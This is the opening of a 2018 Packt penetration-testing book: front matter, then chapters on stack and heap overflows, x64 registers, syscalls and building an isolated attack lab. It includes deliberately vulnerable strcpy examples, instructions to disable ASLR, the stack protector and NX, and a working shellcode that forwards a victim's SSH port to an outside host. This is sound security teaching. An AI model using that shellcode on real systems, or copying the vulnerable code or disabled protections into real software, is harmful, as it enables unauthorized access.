
        
            
                
            
        

    
        

            
            
                
Penetration Testing with Shellcode




 

 

 

 

 

 

 


 



Detect, exploit, and secure network-level and operating system vulnerabilities



 

 

 

 

 

 

 

 

 

 

 

 

 

Hamza Megahed



 



 

 

 

 

 



BIRMINGHAM - MUMBAI





            

            
        
    
        

            
            
                


            

            
        
    
        

                            
                    Penetration Testing with Shellcode

                
            
            
                
Copyright © 2018 Packt Publishing

All rights reserved. No part of this book may be reproduced, stored in a retrieval system, or transmitted in any form or by any means, without the prior written permission of the publisher, except in the case of brief quotations embedded in critical articles or reviews.

Every effort has been made in the preparation of this book to ensure the accuracy of the information presented. However, the information contained in this book is sold without warranty, either express or implied. Neither the author, nor Packt Publishing or its dealers and distributors, will be held liable for any damages caused or alleged to have been caused directly or indirectly by this book.

Packt Publishing has endeavored to provide trademark information about all of the companies and products mentioned in this book by the appropriate use of capitals. However, Packt Publishing cannot guarantee the accuracy of this information.

Commissioning Editor: Vijin Boricha

Acquisition Editor: Shrilekha Inani

Content Development Editor: Nithin Varghese

Technical Editor: Khushbu Sutar

Copy Editors: Safis Editing, Dipti Mankame, Laxmi Subramanian

Project Coordinator: Virginia Dias

Proofreader: Safis Editing

Indexer: Pratik Shirodkar

Graphics: Tom Scaria

Production Coordinator: Shraddha Falebhai

First published: February 2018

Production reference: 1120218

Published by Packt Publishing Ltd.

Livery Place

35 Livery Street

Birmingham

B3 2PB, UK.

ISBN 978-1-78847-373-6

www.packtpub.com





            

            
        
    
        

            
            
                


mapt.io

Mapt is an online digital library that gives you full access to over 5,000 books and videos, as well as industry leading tools to help you plan your personal development and advance your career. For more information, please visit our website.



            

            
        
    
        

                            
                    Why subscribe?

                
            
            
                

	
Spend less time learning and more time coding with practical eBooks and Videos from over 4,000 industry professionals



	
Improve your learning with Skill Plans built especially for you



	
Get a free eBook or video every month



	
Mapt is fully searchable



	
Copy and paste, print, and bookmark content







            

            
        
    
        

                            
                    PacktPub.com

                
            
            
                
Did you know that Packt offers eBook versions of every book published, with PDF and ePub files available? You can upgrade to the eBook version at www.PacktPub.com and as a print book customer, you are entitled to a discount on the eBook copy. Get in touch with us at service@packtpub.com for more details.

At www.PacktPub.com, you can also read a collection of free technical articles, sign up for a range of free newsletters, and receive exclusive discounts and offers on Packt books and eBooks.





            

            
        
    
        

                            
                    Contributors

                
            
            
                


            

            
        
    
        

                            
                    About the author

                
            
            
                
Hamza Megahed is a penetration tester, a Linux kernel expert, and a security researcher. He is interested in exploit development and cryptography, with a background in memory management and return-oriented programming. He has written many shellcodes; some of them were published in shell-storm and exploit-db. Also, he has written articles about information security and cryptographic algorithms.

I would like to express my gratitude to the many people who saw me through this book: to all those who provided support, talked things over, read, wrote, offered comments, allowed me to quote their remarks, and assisted in the editing, proofreading, and designing. I would like to thank Khushbu Sutar, Nithin Varghese, Shrilekha Inani, Glen Singh, and all those who have been with me over the years.



            

            
        
    
        

                            
                    About the reviewers

                
            
            
                
Rejah Rehim is the director and chief information officer (CISO) at Appfabs. Previously holding the title of security architect at FAYA, India, he is a long time preacher of open source. He is a steady contributor to the Mozilla Foundation and was featured in the San Francisco Firefox Monument.

He has created nine Mozilla Add-ons, including the Clear Console addon—selected as one of the best Mozilla Add-ons of 2013. He has created the world's first security testing browser bundle, PenQ. He is an active speaker at FAYA:80, a tech community in Kerala, with the mission of free knowledge sharing.

 

Glen D. Singh is a cybersecurity instructor and contractor at various institutions within the Republic of Trinidad and Tobago. He has conducted multiple training sessions in offensive security, digital forensics, and network security annually. He also holds various information security certifications, such as CEH, CHFI, CCNA Security, and many others.

With his wealth of knowledge, he provided technical contributions toward Digital Forensics with Kali Linux by Packt Publishing.

I would like to thank my parents for their unconditional support and motivation, they've always given me to become a better person each day. Thanks to all my friends and students for their continued support, people at Packt Publishing for providing this opportunity and everyone who reads and supports this amazing book. To the author, well done!

 

 

 

 

 



            

            
        
    
        

                            
                    Packt is searching for authors like you

                
            
            
                
If you're interested in becoming an author for Packt, please visit authors.packtpub.com and apply today. We have worked with thousands of developers and tech professionals, just like you, to help them share their insight with the global tech community. You can make a general application, apply for a specific hot topic that we are recruiting an author for, or submit your own idea.





            

            
        
    
        
            
                Table of Contents

            

            
                
                    	
    Preface
    	
    Who this book is for
    


	
    What this book covers
    


	
    To get the most out of this book
    	
    Download the example code files
    


	
    Download the color images
    


	
    Conventions used
    






	
    Get in touch
    	
    Reviews
    






	
    Disclaimer
    






	
    Introduction
    	
    What is a stack?
    	
    What is a buffer?
    


	
    What is stack overflow?
    


	
    What is a heap?
    


	
    What is heap corruption?
    


	
    Memory layout
    


	
    What is shellcode?
    






	
    Computer architecture
    	
    Registers
    	
    General purpose registers
    


	
    Instruction pointer
    


	
    
Flags registers
    


	
    Segment registers
    


	
    Endianness
    










	
    System calls
    	
    What are syscalls?
    






	
    Summary
    






	
    Lab Setup
    	
    Configuring the attacker machine
    


	
    Configuring Linux victim machine
    


	
    Configuring Windows victim machine
    


	
    Configuring Ubuntu for assembly x86
    


	
    Networking
    


	
    Summary
    






	
    Assembly Language in Linux
    	
    Assembly language code structure
    


	
    Data types
    


	
    Hello world
    


	
    Stack
    


	
    Data manipulation
    	
    The mov instruction 
    


	
    Data swapping
    


	
    Load effective address
    






	
    Arithmetic operations
    


	
    Loops
    


	
    Controlling the flow
    


	
    Procedures
    


	
    Logical operations 
    	
    Bitwise operations
    


	
    Bit-shifting operations
    	
    Arithmetic shift operation 
    


	
    Logical shift
    


	
    Rotate operation
    










	
    Summary 
    






	
    Reverse Engineering
    	
    Debugging in Linux
    


	
    Debugging in Windows 
    


	
    Summary
    






	
    Creating Shellcode
    	
    The basics
    	
    Bad characters
    






	
    The relative address technique 
    	
    The jmp-call technique 
    


	
    The stack technique 
    






	
    The execve syscall
    


	
    TCP bind shell
    


	
    Reverse TCP shell
    


	
    Generating shellcode using Metasploit
    


	
    Summary 
    






	
    Buffer Overflow Attacks
    	
    Stack overflow on Linux
    


	
    Stack overflow on Windows
    


	
    Summary
    






	
    Exploit Development – Part 1
    	
    Fuzzing and controlling instruction pointer
    	
    Using Metasploit Framework and PEDA
    






	
    Injecting shellcode
    


	
    A complete example of buffer overflow
    


	
    Summary
    






	
    Exploit Development – Part 2
    	
    Injecting shellcode
    


	
    Return-oriented programming
    


	
    Structured exception handling
    


	
    Summary
    






	
    Real-World Scenarios – Part 1
    	
    Freefloat FTP Server
    


	
    Fuzzing 
    


	
    Controlling the instruction pointer
    


	
    Injecting shellcode 
    


	
    An example
    


	
    Summary 
    






	
    Real-World Scenarios – Part 2
    	
    Sync Breeze Enterprise
    


	
    Fuzzing
    


	
    Controlling the instruction pointer
    


	
    Injecting shell code 
    


	
    Summary 
    






	
    Real-World Scenarios – Part 3
    	
    Easy File Sharing Web Server
    


	
    Fuzzing 
    


	
    Controlling SEH
    


	
    Injecting shellcode 
    


	
    Summary 
    






	
    Detection and Prevention
    	
    System approach
    


	
    Compiler approach 
    


	
    Developer approach 
    


	
    Summary
    






	
    Other Books You May Enjoy
    	
    Leave a review - let other readers know what you think
    








                
            

            
        
    
        

                            
                    Preface

                
            
            
                
This book is all about finding buffer overflow vulnerabilities, crafting your own shellcode from scratch, learning the security mechanisms of the operating system, and exploit development. You will understand how systems can be bypassed both at the operating system and network levels with shellcode, assembly, and Metasploit. You will also learn to write and modify 64-bit shellcode along with kernel-level shellcode concepts. Overall, this book is a step-by-step guide that will take you from low-level security skills to covering loops with exploit development and shellcode.
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This book is intended to be read by penetration testers, malware analysts, security researchers, forensic practitioners, exploit developers, C language programmers, software testers, and students in the security field.
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Chapter 1, Introduction, discusses the concept of shellcode, buffer overflow, heap corruption, and introduces the computer architecture.

Chapter 2, Lab Setup, teaches how to build a safe environment to test bad code and introduces readers to the graphical interfaces of debuggers.

Chapter 3, Assembly Language in Linux, explains how to use the assembly language on Linux to build shellcode.

Chapter 4, Reverse Engineering, shows how to use debuggers to perform reverse engineering on code.

Chapter 5, Creating Shellcode, explains how to build a shellcode using the assembly language and Metasploit.

Chapter 6, Buffer Overflow Attacks, provides a detailed understanding of buffer overflow attacks on Windows and Linux.

Chapter 7, Exploit Development – Part 1, discusses how to perform fuzzing and finding the return address.

Chapter 8, Exploit Development – Part 2, teaches how to generate a proper shellcode and how to inject a shellcode in an exploit.

Chapter 9, Real-World Scenarios – Part 1, introduces a real-world example of buffer overflow attacks.

Chapter 10, Real-World Scenarios – Part 2, continues the previous chapter but is more advanced.

Chapter 11, Real-World Scenarios – Part 3, gives another real-world scenario example but with more techniques.

Chapter 12, Detection and Prevention, discusses the techniques and algorithms you need to detect and prevent buffer overflow attacks.
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Readers should have a basic understanding of operating system internals (Windows and Linux). Some knowledge of C is essential, and familiarity with Python would be helpful.

All addresses in this book are dependent on my machine and my operating system. So, addresses may vary on your machine.
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You can download the example code files for this book from your account at www.packtpub.com. If you purchased this book elsewhere, you can visit www.packtpub.com/support and register to have the files emailed directly to you.

You can download the code files by following these steps:


	Log in or register at www.packtpub.com.

	Select the SUPPORT tab.

	Click on Code Downloads & Errata.

	Enter the name of the book in the Search box and follow the onscreen instructions.



Once the file is downloaded, please make sure that you unzip or extract the folder using the latest version of:


	WinRAR/7-Zip for Windows

	Zipeg/iZip/UnRarX for Mac

	7-Zip/PeaZip for Linux



The code bundle for the book is also hosted on GitHub at https://github.com/PacktPublishing/Penetration-Testing-with-Shellcode</span>. We also have other code bundles from our rich catalog of books and videos available at https://github.com/PacktPublishing/. Check them out!
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We also provide a PDF file that has color images of the screenshots/diagrams used in this book. You can download it from https://www.packtpub.com/sites/default/files/downloads/PenetrationTestingwithShellcode_ColorImages.pdf.
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There are a number of text conventions used throughout this book.

CodeInText: Indicates code words in text, database table names, folder names, filenames, file extensions, pathnames, dummy URLs, user input, and Twitter handles. Here is an example: "Now the stack is back to normal and 0x1234 has moved to rsi."

A block of code is set as follows:

mov rdx,0x1234
push rdx
push 0x5678
pop rdi
pop rsi

When we wish to draw your attention to a particular part of a code block, the relevant lines or items are set in bold:

mov rdx,0x1234
push rdx
push 0x5678
pop rdi
pop rsi

Any command-line input or output is written as follows:

$ nasm -felf64 stack.nasm -o stack.o

Bold: Indicates a new term, an important word, or words that you see onscreen. For example, words in menus or dialog boxes appear in the text like this. Here is an example: "Select GNU GCC Compiler, click Set as default, and then click OK."

Warnings or important notes appear like this.

Tips and tricks appear like this.
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Feedback from our readers is always welcome.

General feedback: Email feedback@packtpub.com and mention the book title in the subject of your message. If you have questions about any aspect of this book, please email us at questions@packtpub.com.

Errata: Although we have taken every care to ensure the accuracy of our content, mistakes do happen. If you have found a mistake in this book, we would be grateful if you would report this to us. Please visit www.packtpub.com/submit-errata, selecting your book, clicking on the Errata Submission Form link, and entering the details.

Piracy: If you come across any illegal copies of our works in any form on the Internet, we would be grateful if you would provide us with the location address or website name. Please contact us at copyright@packtpub.com with a link to the material.

If you are interested in becoming an author: If there is a topic that you have expertise in and you are interested in either writing or contributing to a book, please visit authors.packtpub.com.
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Please leave a review. Once you have read and used this book, why not leave a review on the site that you purchased it from? Potential readers can then see and use your unbiased opinion to make purchase decisions, we at Packt can understand what you think about our products, and our authors can see your feedback on their book. Thank you!

For more information about Packt, please visit packtpub.com.
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The information within this book is intended to be used only in an ethical manner. Do not use any information from the book if you do not have written permission from the owner of the equipment. If you perform illegal actions, you are likely to be arrested and prosecuted to the full extent of the law. Packt Publishing does not take any responsibility if you misuse any of the information contained within the book. The information herein must only be used while testing environments with proper written authorizations from appropriate persons responsible.
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Welcome to the first chapter of Penetration Testing with Shellcode. The term penetration testing refers to attacking a system without causing any damage to the system. The motive behind the attack is to find the system's flaws or vulnerabilities before attackers also find ways to get inside the system. Hence, to measure how the system resists exposing sensitive data, we try collecting as much data as possible and to perform penetration testing using shellcode, we have to first understand overflow attacks.

Buffer overflow is one of the oldest and the most destructive vulnerabilities that could cause critical damage to an operating system, remotely or locally. Basically, it's a serious problem because certain functions don't know whether the input data can fit inside the preallocated space or not. So, if we add more data than the allocated space can hold, then this will cause overflow. With shellcode in the picture, we can change the execution flow of the same application. The main core of that damage is the payload generated by shellcode. With the spread of all kinds of software, even with a strong support like Microsoft, it could leave you vulnerable to such attacks. Shellcode is exactly what we want to be executed after we control the flow of execution, which we will talk about later in detail.

The topics covered in this chapter are as follows:


	What is a stack?

	What is a buffer?

	What is stack overflow?

	What is a heap?

	What is heap corruption?

	What is shellcode?

	Introduction to computer architecture

	What is a system call?



Let's get started!
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A stack is an allocated space in the memory for each running application, used to hold all the variables inside it. The operating system is responsible for creating a memory layout for each running application, and within each memory layout, there is a stack. A stack is also used to save the return address so that the code can go back to the calling function.

A stack uses Last Input First Output (LIFO) to store elements in it, and there is a stack pointer (we will talk about it later), which points to the top of the stack and also uses push to store an element at the top of stack and pop to extract the element from the top of the stack.

Let's look at the following example to understand this:

#include <stdio.h>
void function1()
{
    int y = 1;
    printf("This is function1\n");
}
void function2()
{
    int z = 2;
    printf("This is function2\n");
}
int main (int argc, char **argv[])
{  
    int x = 10;
    printf("This is the main function\n");
    function1();
    printf("After calling function1\n");
    function2();
    printf("After calling function2");
    return 0;
}

This is how the preceding code works:


	The main function will start first, the variable x will be pushed into the stack, and it will print out the sentence This is the main function, as shown here:






	The main function will call function1 and before moving forward to function1, the address of printf("After calling function1\n") will be saved into the stack in order to continue the execution flow. After finishing function1 by pushing variable y in the stack, it will execute printf("This is function1\n"), as shown here:






	Then, go back to the main function again to execute printf("After calling function1\n"), and push the address of printf("After calling function2") in the stack, as shown:






	Now control will move forward to execute function2 by pushing the variable z into the stack and then execute printf("This is function2\n"), as shown in the following diagram:






	Then, go back to the main function to execute printf("After calling function2") and exit.
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A buffer is a temporary section of the memory used to hold data, such as variables. A buffer is only accessible or readable inside its function until it is declared global; when a function ends, the buffer ends with it; and all programs have to deal with the buffer when there is data storing or retrieving.

Let's look at the following line of code:

char buffer;

What does this section of C code mean? It tells the computer to allocate a temporary space (buffer) with the size of char, which can hold up to 1 byte. You can use the sizeof function to confirm the size of any data type:

#include <stdio.h>
#include <limits.h>
int main()
{
    printf("The size for char : %d \n", sizeof(char));
    return 0;
}

Of course, you can use the same code to get the size of other data types such as the int data type.



            

            
        
    
        

                            
                    What is stack overflow?

                
            
            
                
Stack overflow occurs when you put more data into a buffer than it can hold, which causes the buffer to be filled up and overwrite neighboring places in memory with what's left over of the input. This occurs when the function, which is responsible for copying data, doesn't check if the input can fit inside the buffer or not, such as strcpy. We can use stack overflow to change the execution flow of a code to another code using shellcode.

Here is an example:

#include <stdio.h>
#include <string.h>
// This function will copy the user's input into buffer
void copytobuffer(char* input)
{
   char buffer[15];
   strcpy (buffer,input);
}
int main (int argc, char **argv[])
{
   copytobuffer(argv[1]);
   return 0;
}

The code works as follows:


	In the copytobuffer function, it allocates a buffer with the size of 15 characters, but this buffer can only hold 14 characters and a null-terminated string \0, which indicates the end of the array





You don't have to end arrays with a null-terminated string; the compiler will do it for you.


	Then, there is strcpy, which takes input from the user and copies it into the allocated buffer

	In the main function, it calls copytobuffer and passes the argv argument to copytobuffer



What really happens when the main function calls the copytobuffer function?

Here are the answers to this question:


	The return address of the main function will be pushed in memory

	The old base pointer (explained in the next section) will be saved in memory

	A section of memory will be allocated as the buffer with a size of 15 bytes or 15*8 bits:





Now, we agreed that this buffer will take only 14 characters but the real problem is inside the strcpy function, because it doesn't check for the size of the input, it just copies the input into the allocated buffer.

Let's try now to compile and run this code with 14 characters:



Let's take a look at the stack:



As you can see, the program exited without error. Now, let's try it again but with 15 characters:



And now let's take another look at the stack:



This is a stack overflow, and a segmentation fault is an indication that there is a violation in memory; what happened is the user's input overflowed the allocated buffer, thus filling the old base pointer and return address.



A segmentation fault means a violation in the user space memory, and kernel panic means a violation in kernel-space.
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A heap is a portion of memory that is dynamically allocated by the application at runtime. A heap can be allocated using the malloc or calloc function in C. A heap is different from a stack as a heap remains until:


	The program exits

	It will be deleted using the free function



A heap is different from a stack because in a heap, a very large space can be allocated, and there is no limit on the allocated spaces such as in a stack, where there is a limited space depending on the operating system. You can also resize a heap using the realloc function, but you can't resize the buffer. When using the heap, you must deallocate the heap after finishing by using the free function, but not in the stack; also, the stack is faster than the heap.

Let's look at the following line of code:

 char* heap=malloc(15);

What does this section of C code mean?

It tells the computer to allocate a section in heap memory with a size of 15 bytes and it should also hold 14 characters plus a null-terminated string \0.
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Heap corruption occurs when data copied or pushed into a heap is larger than the allocated space. Let's look at a full heap example:


#include <string.h>
#include <stdlib.h>
void main(int argc, char** argv)
{
  // Start allocating the heap
    char* heap=malloc(15);
  // Copy the user's input into heap
    strcpy(heap, argv[1]);
  // Free the heap section
    free(heap);
}

In the first line of code, it allocates a heap with a size of 15 bytes using the malloc function; in the second line of code, it copies the user's input into the heap using the strcpy function; in the third line of code, it sets the heap free using the free function, back to the system.

Let's compile and run it:



Now, let's try to crash it using a larger input:



This crash is a heap corruption, which forced the program to terminate.
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This is the complete memory layout for a program that contains:


	The .text section which is used to hold the program code

	The .data section which is used to hold initialized data

	The .BSS section which is used to hold uninitialized data

	The heap section which is used to hold dynamically allocated variables

	The stack section which is used to hold non-dynamically allocated variables such as buffers:





Look at how the heap and stack are growing; the stack grows from high memory to low memory, whereas the heap grows from low memory to high memory.
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Shellcode is like a payload that is used in overflow exploitation written in machine language. Hence, the shellcode is used to override the flow of execution after exploiting a vulnerable process, such as making the victim's machine connect back to you to spawn a shell.

The next example is a shellcode for Linux x86 SSH Remote port forwarding which executes the ssh -R 9999:localhost:22 192.168.0.226 command:

"\x31\xc0\x50\x68\x2e\x32\x32\x36\x68\x38\x2e\x30\x30\x68\x32\x2e\x31\x36""\x66\x68\x31\x39\x89\xe6\x50\x68\x74\x3a\x32\x32\x68\x6c\x68\x6f\x73\x68""\x6c\x6f\x63\x61\x68\x39\x39\x39\x3a\x66\x68\x30\x39\x89\xe5\x50\x66\x68""\x2d\x52\x89\xe7\x50\x68\x2f\x73\x73\x68\x68\x2f\x62\x69\x6e\x68\x2f\x75""\x73\x72\x89\xe3\x50\x56\x55\x57\x53\x89\xe1\xb0\x0b\xcd\x80";


And this is the assembly language of that shellcode:

xor    %eax,%eax
push   %eax
pushl  $0x3632322e
pushl  $0x30302e38
pushl  $0x36312e32
pushw  $0x3931
movl   %esp,%esi
push   %eax
push   $0x32323a74
push   $0x736f686c
push   $0x61636f6c
push   $0x3a393939
pushw  $0x3930
movl   %esp,%ebp
push   %eax
pushw  $0x522d
movl   %esp,%edi
push   %eax
push   $0x6873732f
push   $0x6e69622f
push   $0x7273752f
movl   %esp,%ebx
push   %eax
push   %esi
push   %ebp
push   %edi
push   %ebx
movl   %esp,%ecx
mov    $0xb,%al
int    $0x80
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Let's walk through some concepts in computer architecture (Intel x64). The major components of a computer are shown in the following diagram:



Let's dive a little more inside the CPU. There are three parts to the CPU:


	Arithmetic logic unit (ALU): This part is responsible for performing arithmetic operations, such as addition and subtraction and logic operations, such as ADD and XOR

	Registers: This is what we really care about in this book, they are a superfast memory for the CPU that we will discuss in the next section

	Control unit (CU): This part is responsible for communications between the ALU and the registers, and between the CPU itself and other devices
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As we said earlier, registers are like a superfast memory for the CPU to store or retrieve data in processing, and they are divided into the following sections.
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There are 16 general purpose registers in the Intel x64 processor:


	The accumulator register (RAX) is used in arithmetic operations—RAX holds 64 bits, EAX holds 32 bits, AX holds 16 bits, AH holds 8 bits, and AL holds 8 bits:






	The base register (RBX) is used as a pointer to data—RBX holds 64 bits, EBX holds 32 bits, BX holds 16 bits, BH holds 8 bits, and BL holds 8 bits:






	The counter register (RCX) is used in loops and shift operations—RCX holds 64 bits, ECX holds 32 bits, CX holds 16 bits, CH holds 8 bits, and CL holds 8 bits:






	The data register (RDX) is used as a data holder and in arithmetic operations—RDX holds 64 bits, EDX holds 32 bits, DX holds 16 bits, DH holds 8 bits, and DL holds 8 bits:






	The source index register (RSI) is used as a pointer to a source—RSI holds 64 bits, ESI holds 32 bits, DI holds 16 bits, and SIL holds 8 bits:






	The destination index register (RDI) is used as a pointer to a destination—RDI holds 64 bits, EDI holds 32 bits, DI holds 16 bits, and DIL hold 8 bits:





RSI and RDI are both used in stream operations and string manipulation.


	The stack pointer register (RSP) is used as a pointer to the top of the stack—RSP holds 64 bits, ESP holds 32 bits, SP holds 16 bits, and SPL holds 8 bits:






	The base pointer register (RBP) is used as a pointer to the base of the stack—RBP holds 64 bits, EBP holds 32 bits, BP holds 16 bits, and BPL holds 8 bits:






	The registers R8, R9, R10, R11, R12, R13, R14, and R15 have no specific operations, but they do not have the same architecture as the previous registers, such as high (H) value or low (L) value. However, they can be used as D for double-word, W for word, or B for byte. Let's look at R8 for example:





Here, R8 holds 64 bits, R8D holds 32 bits, R8W holds 16 bits, and R8B holds 8 bits.

R8 through R15 only exist in Intel x64 but not in x84.



            

            
        
    
        

                            
                    Instruction pointer

                
            
            
                


The instruction pointer register or RIP is used to hold the next instruction.

Let's look at the following example first:

#include <stdio.h>
void printsomething()
{
    printf("Print something\n");
}
int main ()
{
    printsomething();
    
    printf("This is after print something function\n");
    return 0;
}

The first thing that will be executed is the main function, then it will call the printsomething function. But before it calls the printsomething function, the program needs to know exactly what the next operation is after executing the printsomething function. So before calling printsomething, the next instruction that is printf("This is after print something function\n") will have its location pushed into the RIP and so on:



Here, RIP holds 64 bits, EIP holds 32 bit, and IP holds 16 bits.

The following table sums up all the general-purpose registers:




	64-bit register
	32-bit register
	16-bit register
	8-bit register



	RAX
	EAX
	AX
	
AH,AL





	RBX
	EBX
	BX
	BH, BL



	RCX
	ECX
	CX
	CH, CL



	RDX
	EDX
	DX
	DH,DL



	RSI
	ESI
	SI
	SIL



	RDI
	EDI
	DI
	DIL



	RSP
	ESP
	SP
	SPL



	RBP
	EBP
	BP
	BPL



	R8
	R8D
	R8W
	R8B



	R9
	R9D
	R9W
	R9B



	R10
	R10D
	R10W
	R10B



	R11
	R11D
	R11W
	R11B



	R12
	R12D
	R12W
	R12B



	R13
	R13D
	R13W
	R13B



	R14
	R14D
	R14W
	R14B



	R15
	R15D
	R15W
	R15B
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These are registers that the computer uses to control the execution flow. For example, the JMP operation in assembly will be executed based on the value of flag registers such as the jump if zero (JZ) operation, meaning that the execution flow will be changed to another flow if the zero flag contains 1. We are going to talk about the most common flags:




	The carry flag (CF) is set in arithmetic operations if there is a carry in addition or borrow in subtraction

	The parity flag (PF) is set if the number of set bits is even

	The adjust flag (AF) is set in arithmetic operations if there is a carry of binary code decimal

	The zero flag (ZF) is set if the result is zero

	The sign flag (SF) is set if the most significant bit is one (the number is negative)

	The overflow flag (OF) is set in arithmetic operations if the result of the operation is too large to fit in a register
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There are six segment registers:




	The code segment (CS) points to the starting address of the code segment in the stack

	The stack segment (SS) points to the starting address of the stack

	The data segment (DS) points to the starting address of the data segment in the stack

	The extra segment (ES) points to extra data

	The F segment (FS) points to extra data

	The G segment (GS) points to extra data



The F in FS means F after E in ES; and, the G in GS means G after F.
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Endianness describes the sequence of allocating bytes in memory or registers, and there are the following two types:


	Big-endian means allocating bytes from left to right. Let's see how a word like shell (which in hex 73 68 65 6c 6c) will be allocated in memory:





It pushed as you can read it from left to right.


	Little-endian means allocating bytes from right to left. Let's look at the previous example with little-endian:





As you can see, it pushed backward llehs, and the most important thing is Intel processors are little-endian.
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There are two spaces under Linux in memory (RAM): user space and kernel space. Kernel space is responsible for running kernel codes and system processes with full access to memory, whereas user space is responsible for running user processes and applications with restricted access to memory, and this separation is to protect the kernel space.

When a user wants to execute a code (in user space), then user space sends requests to the kernel space using system calls, also known as syscalls through libraries such as glibc, and then kernel space executes it on behalf of the user space using the fork-exec technique.
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Syscalls are like requests that the user space uses to ask the kernel to execute on behalf of the user space. For example, if a code wants to open a file then user space sends the open syscall to the kernel to open the file on behalf of the user space, or when a C code contains the printf function, then the user space sends the write system call to the kernel:



The fork-exec technique is how Linux runs processes or applications by forking (copy) parent's resources located in memory using fork syscall, then running the executable code using exec syscall.

Syscalls are like kernel API or how you are going to talk to the kernel itself to tell it to do something for you.

User space is an isolated environment or a sandbox to protect the kernel space and its resources.

So how can we get the full list of x64 kernel syscalls ? Actually it's easy, all syscalls are located inside this file: /usr/include/x86_64-linux-gnu/asm/unistd_64.h:

cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h


The following screenshot shows the output for the preceding command:



This is just a small portion of my kernel syscalls.
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In this chapter, we talked about some definitions in computer science, such as stack, buffer, and heap, and also gave a quick hint about buffer overflow and heap corruption. Then, we moved on to some definitions in computer architecture such as register, which is very important in debugging and understanding how execution is done inside the processor. Finally, we talked briefly about syscalls, which is also important in assembly language on Linux (we will see that in the next part), and how the kernel executes codes on Linux. At this point, we are ready to move on to another level, which is building an environment to test overflow attacks, and also creating and injecting shellcodes.
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In this chapter, we are going to set up an isolated lab to use for the rest of this book. We will see how to install tools such as Metasploit Framework in order to create shellcodes and exploit development. We will also see how to install C language IDE and a compiler for Microsoft Windows, before looking at the Python programming language for Windows and Linux. Then, we will look at installing and getting familiar with debugger interfaces

Primarily, we will need three machines. The first is an attacker to simulate remote attacking, and that will be Linux OS. Here, I prefer Kali Linux because it contains all the tools we will need, along with which we will be going to install some extra tools. The second will be Ubuntu 14.04 LTS x64, and the third will be Windows 7 x64.

The topics covered in this chapter are as follows:


	Configuring the attacker machine

	Configuring the Linux victim machine

	Configuring the Windows victim machine

	Configuring the Linux victim machine

	Configuring Ubuntu for assembly x86

	Networking



You can use VMware, KVM, or VirtualBox, but make sure you select the host-only network because we don't want to expose those vulnerable machines to the outside world.
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As I said earlier, the attacker machine will be our main base and I prefer Kali Linux, but if you are going to use another distribution, then you have to install the following packages:


	First, we need to make sure that the C compiler is installed; use the gcc -v command:






	If not, just install it using $ sudo apt-get install gcc (Debian distributions) or $ sudo yum install gcc (Red Hat distributions). Accept and install gcc with its dependencies.

	Also, we are going to use the Python programming language in exploit development. Python comes by default with most Linux distributions, and to make sure that it's installed, just use $ python -V or just python. Then, the Python interpreter will start (hit Ctrl + D to exit):






	For text editors, I use nano as my CLI text editor and atom as my GUI text editor; nano also comes with most Linux distributions.

	If you want to install atom, go to https://github.com/atom/atom/releases/, and you will find a beta release and stable release. Then, download the Atom package for your system, .deb or .rpm and install it using $ sudo dpkg -i package-name.deb (Debian distribution) or $ sudo rpm -i package-name.rpm (Red Hat distribution).



This is what the Atom interface looks like:



We are going to use the Metasploit Framework when creating shellcode and also in exploit development. To install Metasploit, I recommend you use the all-in-one installer via https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers. This script is going to install Metasploit along with its dependencies (Ruby and PostgreSQL). Look at the next example (installing Metasploit on ARM, but it's the same as Intel):


	First, we fetch the installer using the curl command:



        $ curl https://raw.githubusercontent.com/rapid7/
        metasploit-omnibus/master/config/templates/
        metasploit-framework-wrappers/msfupdate.erb > msfinstall


	Then, we give it an appropriate permission using the chmod command:



        $ chmod 755 msfinstall


	Then, start the installer:



        $ ./msfinstall


	And now it will start downloading Metasploit Framework along with its dependencies.

	To create a database for Metasploit Framework, just use msfconsole and follow the instructions:



        $ msfconsole


	Then, it will set up a new database and Metasploit Framework starts:






	As we are going to use assembly programming language, let's take a look at the assembler (nasm) and the linker (ld).




	First, we need to install nasm by using $ sudo apt-get install nasm (Debian distributions). For Red Hat distributions, according to NASM's website, you first need to add this repository to your /etc/yum/yum.repos.d as nasm.repo:



[nasm]
name=The Netwide Assembler
baseurl=http://www.nasm.us/pub/nasm/stable/linux/
enabled=1
gpgcheck=0

[nasm-testing]
name=The Netwide Assembler (release candidate builds)
baseurl=http://www.nasm.us/pub/nasm/testing/linux/
enabled=0
gpgcheck=0

[nasm-snapshot]
name=The Netwide Assembler (daily snapshot builds)
baseurl=http://www.nasm.us/pub/nasm/snapshots/latest/linux/
enabled=0
gpgcheck=0


	Then, use $ sudo yum update && sudo yum install nasm to update and install nasm and $ nasm -v to get NASM's version:






	Use the command $ ld -v to get the linker's version:
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This machine will be Ubuntu 14.04 x64. You can download it from  http://releases.ubuntu.com/14.04/. Also, we have to follow previous instructions for gcc, Python, and nasm.

Now, let's install a very friendly GUI named edb-debugger. You can follow this page, https://github.com/eteran/edb-debugger/wiki/Compiling-(Ubuntu) or follow the next instruction.

First, install dependencies, using the following command:

$ sudo apt-get install cmake build-essential libboost-dev libqt5xmlpatterns5-dev qtbase5-dev qt5-default libgraphviz-dev libqt5svg5-dev git

Then, clone and compile Capstone 3.0.4, as follows:

$ git clone --depth=50 --branch=3.0.4 https://github.com/aquynh/capstone.git
$ pushd capstone
$ ./make.sh
$ sudo ./make.sh install
$ popd

Then, clone and compile edb-debugger, as follows:

$ git clone --recursive https://github.com/eteran/edb-debugger.git
$ cd edb-debugger
$ mkdir build
$ cd build
$ cmake ..
$ make

Then, start edb-debugger using the $ sudo ./edb command, which opens the following window:



As we can see, edb-debugger has the following four windows: 


	The disassembler window converts the machine language into assembly language

	The Registers window contains all the current contents of all registers

	The Data Dump window contains the memory dump for the current process

	The Stack window contains the contents of the stack for the current process



Now to the final step. It's necessary to disable Address Space Layout Randomization (ASLR) for learning purposes. It's a security mechanism in Linux, and we will talk about it later.

Just execute the $ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space command.

Also, we are going to disable the stack protector and NX when using gcc when compiling is done, using:

$ gcc -fno-stack-protector -z execstack
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Here, we are going to configure a Windows machine as a victim machine, which is Windows 7 x64.

First, we need to install C compiler and IDE, I suggest Code::Blocks, and to install it, download the binary from http://www.codeblocks.org/downloads/binaries. Here, I'm going to install codeblocks-16.01mingw-setup.exe (the latest version). Download and install the mingw version.

At the first boot of Code::Blocks, a window will pop up to configure the compiler. Select GNU GCC Compiler, click Set as default, and then click OK:



Then, the IDE interface will pop up:



Now we have a C compiler and IDE. Now, let's move to installing debuggers.

